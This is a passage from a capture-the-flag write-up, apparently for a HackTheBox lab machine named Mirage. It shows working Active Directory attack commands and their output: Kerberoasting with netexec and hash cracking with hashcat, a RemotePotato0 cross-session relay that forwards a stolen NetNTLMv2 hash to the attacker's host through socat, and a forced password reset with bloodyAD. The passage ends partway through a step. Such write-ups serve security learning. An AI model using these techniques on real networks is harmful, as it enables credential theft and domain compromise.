oxdf@hacky$ nats stream info auth_logs --context mirage
Information for Stream auth_logs created 2025-05-05 07:18:19

                Subjects: logs.auth
                Replicas: 1
                 Storage: File

Options:

               Retention: Limits
         Acknowledgments: true
          Discard Policy: New
        Duplicate Window: 2m0s
              Direct Get: true
    Allows Batch Publish: false
         Allows Counters: false
       Allows Msg Delete: false
  Allows Per-Message TTL: false
            Allows Purge: false
        Allows Schedules: false
          Allows Rollups: false

Limits:

        Maximum Messages: 100
     Maximum Per Subject: unlimited
           Maximum Bytes: 1.0 MiB
             Maximum Age: unlimited
    Maximum Message Size: unlimited
       Maximum Consumers: unlimited

State:

            Host Version: 2.11.3
      Required API Level: 0 hosted at level 1
                Messages: 5
                   Bytes: 570 B
          First Sequence: 1 @ 2025-05-05 07:18:56
           Last Sequence: 5 @ 2025-05-05 07:19:27
        Active Consumers: 0
      Number of Subjects: 1

stream view <stream name> will show the messages in the stream:

oxdf@hacky$ nats stream view auth_logs --context mirage
[1] Subject: logs.auth Received: 2025-05-05 07:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[2] Subject: logs.auth Received: 2025-05-05 07:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[3] Subject: logs.auth Received: 2025-05-05 07:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[4] Subject: logs.auth Received: 2025-05-05 07:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


[5] Subject: logs.auth Received: 2025-05-05 07:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}


13:25:43 Reached apparent end of data

There’s a new password for david.jjackson.

Validate Creds

I’ll check this credential using netexec:

oxdf@hacky$ netexec smb DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ 

It works. I’ll need to make sure to use -k (NTLM is disabled) and that my clock is in sync with the DC (sudo ntpdate DC01.mirage.htb).

Shell as nathan.aadam

Enumeration

SMB

With creds, I have access to shares over SMB:

oxdf@hacky$ netexec smb DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --shares
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ 
SMB         DC01.mirage.htb 445    DC01             [*] Enumerated shares
SMB         DC01.mirage.htb 445    DC01             Share           Permissions     Remark
SMB         DC01.mirage.htb 445    DC01             -----           -----------     ------
SMB         DC01.mirage.htb 445    DC01             ADMIN$                          Remote Admin
SMB         DC01.mirage.htb 445    DC01             C$                              Default share
SMB         DC01.mirage.htb 445    DC01             IPC$            READ            Remote IPC
SMB         DC01.mirage.htb 445    DC01             NETLOGON        READ            Logon server share 
SMB         DC01.mirage.htb 445    DC01             SYSVOL          READ            Logon server share 

These are the default shares on a Windows DC. Nothing interesting here.

I’ll list ten users on the box:

oxdf@hacky$ netexec smb DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --users
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ 
SMB         DC01.mirage.htb 445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-            
SMB         DC01.mirage.htb 445    DC01             Administrator                 2025-06-23 21:18:18 0       Built-in account for administering the computer/domain
SMB         DC01.mirage.htb 445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         DC01.mirage.htb 445    DC01             krbtgt                        2025-05-01 07:42:23 0       Key Distribution Center Service Account
SMB         DC01.mirage.htb 445    DC01             Dev_Account_A                 2025-05-27 14:05:12 0        
SMB         DC01.mirage.htb 445    DC01             Dev_Account_B                 2025-05-02 08:28:11 0        
SMB         DC01.mirage.htb 445    DC01             david.jjackson                2025-05-02 08:29:50 0        
SMB         DC01.mirage.htb 445    DC01             javier.mmarshall              2025-05-25 18:44:43 0       Contoso Contractors 
SMB         DC01.mirage.htb 445    DC01             mark.bbond                    2025-06-23 21:18:18 0        
SMB         DC01.mirage.htb 445    DC01             nathan.aadam                  2025-06-23 21:18:18 0        
SMB         DC01.mirage.htb 445    DC01             svc_mirage                    2025-05-22 20:37:45 0       Old service account migrated by contractors
SMB         DC01.mirage.htb 445    DC01             [*] Enumerated 10 local users: MIRAGE

javier.mmarshall has the comment “Contoso Contractors”. svc_mirage is labeled as an “old service account migrated by contractors”.

BloodHound

I’ll collect BloodHound data using RustHound-CE (thanks to Ipp for fixing the zip import bug):

oxdf@hacky$ rusthound-ce -d mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -c All -z
---------------------------------------------------
Initializing RustHound-CE at 05:43:05 on 11/18/25
Powered by @g0h4n_0
---------------------------------------------------

[2025-11-18T05:43:05Z INFO  rusthound_ce] Verbosity level: Info
[2025-11-18T05:43:05Z INFO  rusthound_ce] Collection method: All
[2025-11-18T05:43:05Z INFO  rusthound_ce::ldap] Connected to MIRAGE.HTB Active Directory!
[2025-11-18T05:43:05Z INFO  rusthound_ce::ldap] Starting data collection...
[2025-11-18T05:43:05Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:05Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=mirage,DC=htb
[2025-11-18T05:43:05Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:06Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=mirage,DC=htb
[2025-11-18T05:43:06Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:06Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=mirage,DC=htb
[2025-11-18T05:43:06Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:07Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=mirage,DC=htb
[2025-11-18T05:43:07Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-11-18T05:43:07Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=mirage,DC=htb
[2025-11-18T05:43:07Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 8%                                                                                                             [2025-11-18T05:43:07Z INFO  rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2025-11-18T05:43:07Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 12 users parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 65 groups parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 1 computers parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 21 ous parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 1 domains parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 2 gpos parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 74 containers parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 1 aiacas parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 1 rootcas parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2025-11-18T05:43:07Z INFO  rusthound_ce::json::maker::common] .//20251118054307_mirage-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 05:43:07 on 11/18/25! Happy Graphing!

I’ll load the data in BloodHound-CE Docker and mark david.jjackson as owned. They have some outbound controls, but it’s all stuff for being in the Domain Users group:

image-20251117180225539

Nothing too interesting there, other than to note that there is ADCS in play here (which I’ll enumerate more fully for the final step).

The default query for Kerberoastable Users returns one:

image-20251117180339548

Kerberoast

Collect Hash

I’ll run the attack with netexec:

oxdf@hacky$ netexec ldap DC01.mirage.htb -u Dev_Account_A -p 'hx5h7F5554fP@1337!' -k --kerberoasting kerberoast.txt
LDAP        DC01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        DC01.mirage.htb 389    DC01             [-] mirage.htb\Dev_Account_A:hx5h7F5554fP@1337! KDC_ERR_PREAUTH_FAILED
oxdf@hacky$ netexec ldap DC01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --kerberoasting kerberoast.txt
LDAP        DC01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        DC01.mirage.htb 389    DC01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ 
LDAP        DC01.mirage.htb 389    DC01             [*] Skipping disabled account: krbtgt
LDAP        DC01.mirage.htb 389    DC01             [*] Total of records returned 1
LDAP        DC01.mirage.htb 389    DC01             [*] sAMAccountName: nathan.aadam, memberOf: ['CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb', 'CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb'], pwdLastSet: 2025-06-23 21:18:18.584667, lastLogon: 2025-07-04 20:01:43.511763
LDAP        DC01.mirage.htb 389    DC01             $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$f5e71ef69808e47abb780b809f9f1f80$9458533cbd0f75628dfd525e34f62f28cc98dcabcef576386b831c62347029fd2c3debfe0eef5c744350eca257a71ce89e53441d563d3815bbd7e70f6c0e1d014e0100b53346352ccb736efbf35fadda2fa409003403ff4a57cc0e8aa1fa1bc501774880d592c336a2eb245489039d4e8b7f702c86510a042c94347401a33b33eb0210d92ee04fe62eeeae9e881ab8183a12ddcf0768ab124a5318b9f3b5946e2f259c8dada672cb8d357e416865499a6dd13e452591e606064ff66c3d306bf795b5c45968e9487d87d6ff11a528189ac8a0c4dc6e3a3d7c11c92f62b39f232107af066b8ed24a353bad535c6d83f8b89798e2b2233843b8f4c99c4ff493e9cf74312e821931dd45b97718ee3d2d20f823027e9aa0e802a0c6f71aa1b65891e69b491ee826ffbc8a44065fabfaed87ce7531c6e24e6d82c114eec43966a18d7f3d1256828e2e09261287d2d573a946ad3593a234efa256d611c1db34609720e5e34a7f015f3477a6de285339e7fc8a1a9307ea6fa529cdfdbe2033039c1b77da126c6ba64b5ea477087de8c338a210c90a48f2c465e6e7cb1310657e07bd861a1edb904ce0408e7d68e65a5e1d893ac4b690cbe95cd58ebea37db5c94db8aad32b51290a7627baba96299d37d79fee3f48c2c3f7ff1db02657e0c6ffc2b3f0068d691aa60db7684213276980a0dcd76da72f6a798c4acc225ebfec475ffc99240162e6d59d8c1099264c13a03e3d0d4d251d413105e8d3e5d9daa4ba9b8e6de5e1eae033ed3ac166a89e55653edc035e1ec7a392e7e1dca769f1a8f2dd13ac5cb53274c783ce81badda29d422ccca67857ffae4997cfba85c7f76f02d4584fad62156dbed5b6babc2aec96968d2120ba63ca798439ebf5715fb6457e8adea67290c7d9c8c7609901264bd3e642373d3c69649667c7513b56a3d3882fdf9721e8fb74a0d20f26218090c946c48ded17ceea1a483011390afa5cb5aea1bf7983a8d37ac97c574869d04b3cb3cabcec13d143c4ca47ff8bb1bd0f187d4c035aa4c03ca715b9f4daf3d3e77922c0517cbf1b22b2cb4b9154dea5ef9380842f718081f63265c5318988a17269920e2cf176b8829df114c98b47e495c1a4543cb5c8ff9cc9edf5f749be30e31f6e02429408c2ea320eda2eac14866e8b01d84e0837975b368fab670b6cbfe8c77b5c3f1eac7c15ceff983b643b0ce0f682827fab889ce01e977fa11c0ac5a3885a3a8190a0a22592322ec320f28c5413d88aac0e8326210df67485fefe4743c281175b202bd32505f28a180fe5a60631be5f3ca78d051330e6bc7c99fcb90696210954a2193643bd10f67f24365d039cfb503f0a6650960b264eabb3b9d4a891db217f28a0cccd18c81cfd7190883f29a3986b1565d446f947e4a83108ba7348589f59e1be75ec391a4b96ad8bb85d663ebe04a15fb19bbde1c80912b5e62c8d9073004ede84006d8b4f453eb182af0c7953d7b3cac6a99b5fb2e372d5c08383c723b64737129e96058cda098baac734bad7be0d7c4bf2a3fd04b7c3e2369306d2f6f4d53a71f9816de0558e335179

Crack

I’ll pass that output file (kerberoast.txt) to hashcat and it finds the type and cracks the password:

$ hashcat kerberoast.txt rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
                                                          
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[snip]...
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$f5e71ef69808e47abb780b809f9f1f80$9458533cbd0f75628dfd525e34f62f28cc98dcabcef576386b831c62347029fd2c3debfe0eef5c744350eca257a71ce89e53441d563d3815bbd7e70f6c0e1d014e0100b53346352ccb736efbf35fadda2fa409003403ff4a57cc0e8aa1fa1bc501774880d592c336a2eb245489039d4e8b7f702c86510a042c94347401a33b33eb0210d92ee04fe62eeeae9e881ab8183a12ddcf0768ab124a5318b9f3b5946e2f259c8dada672cb8d357e416865499a6dd13e452591e606064ff66c3d306bf795b5c45968e9487d87d6ff11a528189ac8a0c4dc6e3a3d7c11c92f62b39f232107af066b8ed24a353bad535c6d83f8b89798e2b2233843b8f4c99c4ff493e9cf74312e821931dd45b97718ee3d2d20f823027e9aa0e802a0c6f71aa1b65891e69b491ee826ffbc8a44065fabfaed87ce7531c6e24e6d82c114eec43966a18d7f3d1256828e2e09261287d2d573a946ad3593a234efa256d611c1db34609720e5e34a7f015f3477a6de285339e7fc8a1a9307ea6fa529cdfdbe2033039c1b77da126c6ba64b5ea477087de8c338a210c90a48f2c465e6e7cb1310657e07bd861a1edb904ce0408e7d68e65a5e1d893ac4b690cbe95cd58ebea37db5c94db8aad32b51290a7627baba96299d37d79fee3f48c2c3f7ff1db02657e0c6ffc2b3f0068d691aa60db7684213276980a0dcd76da72f6a798c4acc225ebfec475ffc99240162e6d59d8c1099264c13a03e3d0d4d251d413105e8d3e5d9daa4ba9b8e6de5e1eae033ed3ac166a89e55653edc035e1ec7a392e7e1dca769f1a8f2dd13ac5cb53274c783ce81badda29d422ccca67857ffae4997cfba85c7f76f02d4584fad62156dbed5b6babc2aec96968d2120ba63ca798439ebf5715fb6457e8adea67290c7d9c8c7609901264bd3e642373d3c69649667c7513b56a3d3882fdf9721e8fb74a0d20f26218090c946c48ded17ceea1a483011390afa5cb5aea1bf7983a8d37ac97c574869d04b3cb3cabcec13d143c4ca47ff8bb1bd0f187d4c035aa4c03ca715b9f4daf3d3e77922c0517cbf1b22b2cb4b9154dea5ef9380842f718081f63265c5318988a17269920e2cf176b8829df114c98b47e495c1a4543cb5c8ff9cc9edf5f749be30e31f6e02429408c2ea320eda2eac14866e8b01d84e0837975b368fab670b6cbfe8c77b5c3f1eac7c15ceff983b643b0ce0f682827fab889ce01e977fa11c0ac5a3885a3a8190a0a22592322ec320f28c5413d88aac0e8326210df67485fefe4743c281175b202bd32505f28a180fe5a60631be5f3ca78d051330e6bc7c99fcb90696210954a2193643bd10f67f24365d039cfb503f0a6650960b264eabb3b9d4a891db217f28a0cccd18c81cfd7190883f29a3986b1565d446f947e4a83108ba7348589f59e1be75ec391a4b96ad8bb85d663ebe04a15fb19bbde1c80912b5e62c8d9073004ede84006d8b4f453eb182af0c7953d7b3cac6a99b5fb2e372d5c08383c723b64737129e96058cda098baac734bad7be0d7c4bf2a3fd04b7c3e2369306d2f6f4d53a71f9816de0558e335179:3edc#EDC3
...[snip]...

Validate

These creds work for nathan.aadam:

oxdf@hacky$ netexec smb DC01.mirage.htb -u nathan.aadam -p '3edc#EDC3' -k
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\nathan.aadam:3edc#EDC3 

Shell

netexec doesn’t support checking WinRM over Kerberos, but the BloodHound data shows that nathan.aadam is in the IT_Admins group which is in the Remote Management Users group:

image-20251117180918308

I’ll generate the KRB configuration, and then connect with evil-winrm-py:

oxdf@hacky$ netexec smb DC01.mirage.htb -u nathan.aadam -p '3edc#EDC3' -k --generate-krb5-file krb5.conf
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] krb5 conf saved to: krb5.conf
SMB         DC01.mirage.htb 445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\nathan.aadam:3edc#EDC3 
oxdf@hacky$ sudo cp krb5.conf /etc/krb5.conf
oxdf@hacky$ evil-winrm-py -i DC01.mirage.htb -u nathan.aadam -p '3edc#EDC3' -k
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'DC01.mirage.htb:5985' as 'nathan.aadam'
evil-winrm-py PS C:\Users\nathan.aadam\Documents>

There is user.txt:

evil-winrm-py PS C:\Users\nathan.aadam\desktop> cat user.txt
01d9c5a2************************

Auth as mark.bbond

Enumeration

Users

There are a few non-administrator users with home directories in C:\Users:

evil-winrm-py PS C:\Users> ls

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/25/2025   2:54 PM                Administrator
d-----         5/23/2025   3:27 PM                david.jjackson
d-----          5/2/2025   2:00 AM                Dev_Account_A
d-----         5/25/2025  11:03 AM                mark.bbond
d-----          7/4/2025   1:01 PM                nathan.aadam
d-r---          5/1/2025  12:31 AM                Public 

There’s nothing else interesting in david.jjackson, and they can’t access any other users’ directories:

evil-winrm-py PS C:\Users> tree /f
Folder PATH listing
Volume serial number is 014F-FCE7
C:.
+---Administrator
+---david.jjackson
+---Dev_Account_A
+---mark.bbond
+---nathan.aadam
¦   +---3D Objects
¦   +---Contacts
¦   +---Desktop
¦   ¦       Microsoft Edge.lnk
¦   ¦       user.txt
¦   ¦       
¦   +---Documents
¦   +---Downloads
¦   +---Favorites
¦   ¦   ¦   Bing.url
¦   ¦   ¦   
¦   ¦   +---Links
¦   +---Links
¦   ¦       Desktop.lnk
¦   ¦       Downloads.lnk
¦   ¦       
¦   +---Music
¦   +---Pictures
¦   +---Saved Games
¦   +---Searches
¦   +---Videos
+---Public

Logged In User

tasklist fails due to permissions of my WinRM shell, but Get-Process works:

evil-winrm-py PS C:\Users> tasklist
ERROR: Access denied
System.Management.Automation.RemoteException
evil-winrm-py PS C:\Users> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    118       8     4768       9908              3788   0 AggregatorHost
    391      33    13000      22068              3032   0 certsrv
    500      22     2160       6504               424   0 csrss
    278      15     1928       6156               532   1 csrss
    366      15     3228      15224              5176   1 ctfmon
    410      34    17620      26184              2652   0 dfsrs
    158       9     1952       6424               724   0 dfssvc
    281      15     3932      15032              4012   0 dllhost
  10415    7492   130868     129932              2416   0 dns
    749      35    24312      54288               384   1 dwm
   1601      62    25948      91608              5536   1 explorer
     39       7     1456       3944              4656   0 fontdrvhost
     39       7     1692       4608              4664   1 fontdrvhost
      0       0       60          8                 0   0 Idle
    152      13     1812       6388              2836   0 ismserv
   2164     249    68004      79388               692   0 lsass
    499      32    37384      50400              1396   0 Microsoft.ActiveDirectory.WebServices
    215      14     1944       4608              2664   0 MicrosoftEdgeUpdate
    239      14     2944      11280              2712   0 msdtc
    244      13    24256      22860              2516   0 nats-server
    137      18     1760       6112              3268   0 nfssvc
      0       2     4780       1204              3428   0 nfssvc
      0      13     2268      14608               100   0 Registry
    324      18    20228      39132              4408   1 RuntimeBroker
    224      12     2220      13268              5700   1 RuntimeBroker
    166      11     2316      14672              5924   1 RuntimeBroker
    673      35    32020      62500              6044   1 SearchApp
    656      16     5668      14212               672   0 services
    503      17     4944      26728              4916   1 sihost
     57       4     1120       1284               340   0 smss
    485      26     5936      19244              3000   0 spoolsv
    584      28    13816      55076              5796   1 StartMenuExperienceHost
    338      17     4620      14676               852   0 svchost
   1008      22     7420      24184               888   0 svchost
    895      21     5164      12228               924   0 svchost
    280      12     2336      10752               984   0 svchost
    118       8     1304       5856              1056   0 svchost
    133      17     3128       7692              1068   0 svchost
    197      12     1648       7660              1076   0 svchost
    211      12     1996      10224              1104   0 svchost
    170      10     1700      12528              1116   0 svchost
    232      12     2220       8244              1136   0 svchost
    314      19     3956      11012              1188   0 svchost
    414      16    16348      20448              1220   0 svchost
    419      34     7776      17628              1332   0 svchost
    544      28    15648      32832              1392   0 svchost
    379      17     4120      12788              1420   0 svchost
    313      18     3680      14680              1464   0 svchost
    436      15     2908      11200              1516   0 svchost
    401      20     5384      16196              1552   0 svchost
    202      12     2248      11740              1592   0 svchost
    444      11     2984       9524              1604   0 svchost
    151       8     1276       6280              1612   0 svchost
    139       9     1552       7064              1652   0 svchost
    193      16     6192      10960              1672   0 svchost
    178      13     1832       8668              1732   0 svchost
    182      13     2688      15188              1772   0 svchost
    290      15     2208       9332              1808   0 svchost
    183      12     1980      12928              1836   0 svchost
    144      10     1632       7100              1856   0 svchost
    227      13     2304       9988              1944   0 svchost
    176      11     2048       8116              2032   0 svchost
    275      15     2752       8716              2064   0 svchost
    170      14     1712       7788              2072   0 svchost
    207      11     2424       9500              2136   0 svchost
    370      18     2684      11312              2168   0 svchost
    257      27     3448      13612              2336   0 svchost
    247      14     3728      11348              2384   0 svchost
    155      43     1660       7568              2616   0 svchost
    137       9     1464       7836              2668   0 svchost
    413      19    11892      21608              2672   0 svchost
    155      10     3944      12208              2700   0 svchost
    280      36     3280      13856              2872   0 svchost
    137       9     1512      11916              2880   0 svchost
    207      11     2284       9332              2916   0 svchost
    121       9     1548       7284              2924   0 svchost
    143       8     1380       6500              3040   0 svchost
    287      21     8244      16420              3120   0 svchost
    383      24     3316      13484              3352   0 svchost
    171      10     1564       7988              3636   0 svchost
    219      13     2736      13428              4584   1 svchost
    325      17     5092      26284              4612   1 svchost
    318      19     4324      19068              4756   0 svchost
    125       9     1364       7576              4784   0 svchost
    126       9     1596       7024              4832   0 svchost
    225      13     2860      15380              5220   0 svchost
    302      20    15936      19604              5324   0 svchost
    165      11     1984      11068              5372   0 svchost
    237      14     2616      13684              5448   0 svchost
    197      12     2436      15804              6064   1 svchost
    358      18     3968      15644              6108   0 svchost
   1922       0       44        140                 4   0 System
    187      12     2252      12276              4840   1 taskhostw
    550      23    10020      43088              5820   1 TextInputHost
    203      16     2312      11016              3644   0 vds
    170      12     2484      11156              1444   0 VGAuthService
    106       8     1516       6576              2640   0 vm3dservice
    129      10     1644       7064              3400   1 vm3dservice
    245      18     4984      16140               528   1 vmtoolsd
    410      25    11488      25320              2568   0 vmtoolsd
    151      11     1400       7276               552   0 wininit
    278      14     2948      12528               600   1 winlogon
    418      21    12096      24596              4220   0 WmiPrvSE
   1079      27    55560      72236       0.47   4192   0 wsmprovhost

explorer and winlogon are both running in session one, which suggests a user is logged into an interactive desktop session.

qwinsta will show other logged in users, but it will fail over a WinRM shell:

evil-winrm-py PS C:\Users> qwinsta
No session exists for *

However, I can use RunasCs to run it under an interactive context:

evil-winrm-py PS C:\programdata> upload /opt/RunasCs/RunasCs.exe RunasCs.exe
Uploading /opt/RunasCs/RunasCs.exe: 100%|██████████████████████████████████████████████████████████| 50.5k/50.5k [00:00<00:00, 228kB/s]
[+] File uploaded successfully as: C:\programdata\RunasCs.exe
evil-winrm-py PS C:\programdata> .\RunasCs whatever whatever qwinsta -l 9

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE 
>services                                    0  Disc                        
 console           mark.bbond                1  Active  

mark.bbond is logged in! I don’t even need valid creds for this check, as login type 9 creds are not checked until they are needed with a remote server, and creds are not needed to run qwinsta.

Cross Session Relay

I’ve gone into this attack in Shibuya and Rebound. The attack is to use RemotePotato0 to coerce a logged in user to authenticate with a NetNTLMv2 hash to port 135. I’ll set up a tunnel on my host 135 to send it back to a listening port for RemotePotato0, which will print the hash.

I’ll start socat on my host listening on 135 and redirecting back to port 9999 (the default for RemotePotato0.exe) on Mirage:

oxdf@hacky$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.78:9999

Now I’ll start RemotePotato0.exe with -m 2 to “Rpc capture (hash) server + potato trigger”, -s 1 because that’s the session ID for mark.bbond, and -x 10.10.14.2 as my listening IP:

evil-winrm-py PS C:\programdata> .\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.2
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 9999
[*] Example Network redirector: 
        sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] RPC relay server listening on port 9997 ...
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ... 
[*] IStoragetrigger written: 102 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!

NTLMv2 Client   : DC01
NTLMv2 Username : MIRAGE\mark.bbond
NTLMv2 Hash     : mark.bbond::MIRAGE:2128cb5a5acda3cc:01de5d8bb6c567a89156bf2dab460ed6:0101000000000000fd4088015758dc010c2fd087448a4d140000000002000c004d0049005200410047004500010008004400430030003100040014006d00690072006100670065002e0068007400620003001e0064006300300031002e006d00690072006100670065002e00680074006200050014006d00690072006100670065002e0068007400620007000800fd4088015758dc0106000400060000000800300030000000000000000100000000200000838cbd182113b056c84c0e6eddde291bc7bce739c5a29086499576fe57f74cfd0a00100000000000000000000000000000000000090000000000000000000000

I’ll save that last line in a file and pass it to hashcat:

$ hashcat mark.bbond.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode 
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
                                                          
5600 | NetNTLMv2 | Network Protocol
...[snip]...
MARK.BBOND::MIRAGE:2128cb5a5acda3cc:01de5d8bb6c567a89156bf2dab460ed6:0101000000000000fd4088015758dc010c2fd087448a4d140000000002000c004d0049005200410047004500010008004400430030003100040014006d00690072006100670065002e0068007400620003001e0064006300300031002e006d00690072006100670065002e00680074006200050014006d00690072006100670065002e0068007400620007000800fd4088015758dc0106000400060000000800300030000000000000000100000000200000838cbd182113b056c84c0e6eddde291bc7bce739c5a29086499576fe57f74cfd0a00100000000000000000000000000000000000090000000000000000000000:1day@atime

Validate Creds

The creds work for SMB:

oxdf@hacky$ netexec smb DC01.mirage.htb -u mark.bbond -p 1day@atime -k
SMB         DC01.mirage.htb 445    DC01             [*]  x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC01.mirage.htb 445    DC01             [+] mirage.htb\mark.bbond:1day@atime

They do not work for WinRM:

oxdf@hacky$ evil-winrm-py -i DC01.mirage.htb -u mark.bbond -p 1day@atime -k
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'DC01.mirage.htb:5985' as 'mark.bbond'
[-] Failed to authenticate the user mark.bbond with kerberos

Auth as javier.mmarshall

Enumeration

I’ll mark mark.bbond as owned in BloodHound, and look at outbound control:

image-20251117185432155

By being in the IT_Support group, mark.bbond has ForceChangePassword over javier.mmarshall.

Password Change

The netexec module change-password has a bug in it with Kerberos auth, so I’ll just use bloodyAD:

oxdf@hacky$ bloodyAD -d mirage.htb --host DC01.mirage.htb -u mark.bbond -p 1day@atime -k set password javier.mmarshall 0xdf0xdf..
[+] Password changed successfully!

Enable Account

Show Account Status

If I try to validate the update, it still fails:

oxdf@hacky$ netexec smb DC01.mirage.htb -u javier.mmarshall -p 0xdf0xdf.. -k 
